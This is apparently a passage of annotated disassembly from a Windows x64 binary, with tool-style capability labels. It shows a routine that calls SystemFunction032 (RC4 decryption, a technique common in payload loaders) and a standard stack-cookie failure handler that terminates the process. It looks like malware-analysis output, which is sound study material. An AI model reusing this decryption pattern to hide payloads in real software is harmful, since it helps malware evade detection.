mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140012b77
mov edx, dword [rbp + 4]
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140011253
xor eax, eax
jmp 0x140012b7c
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140020510]
call fcn.14001145b
mov rax, rdi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.14001126c
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret

Function at 0x1400112da
Capabilities:
Terminate process

Disassembly:
jmp 0x140017620
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret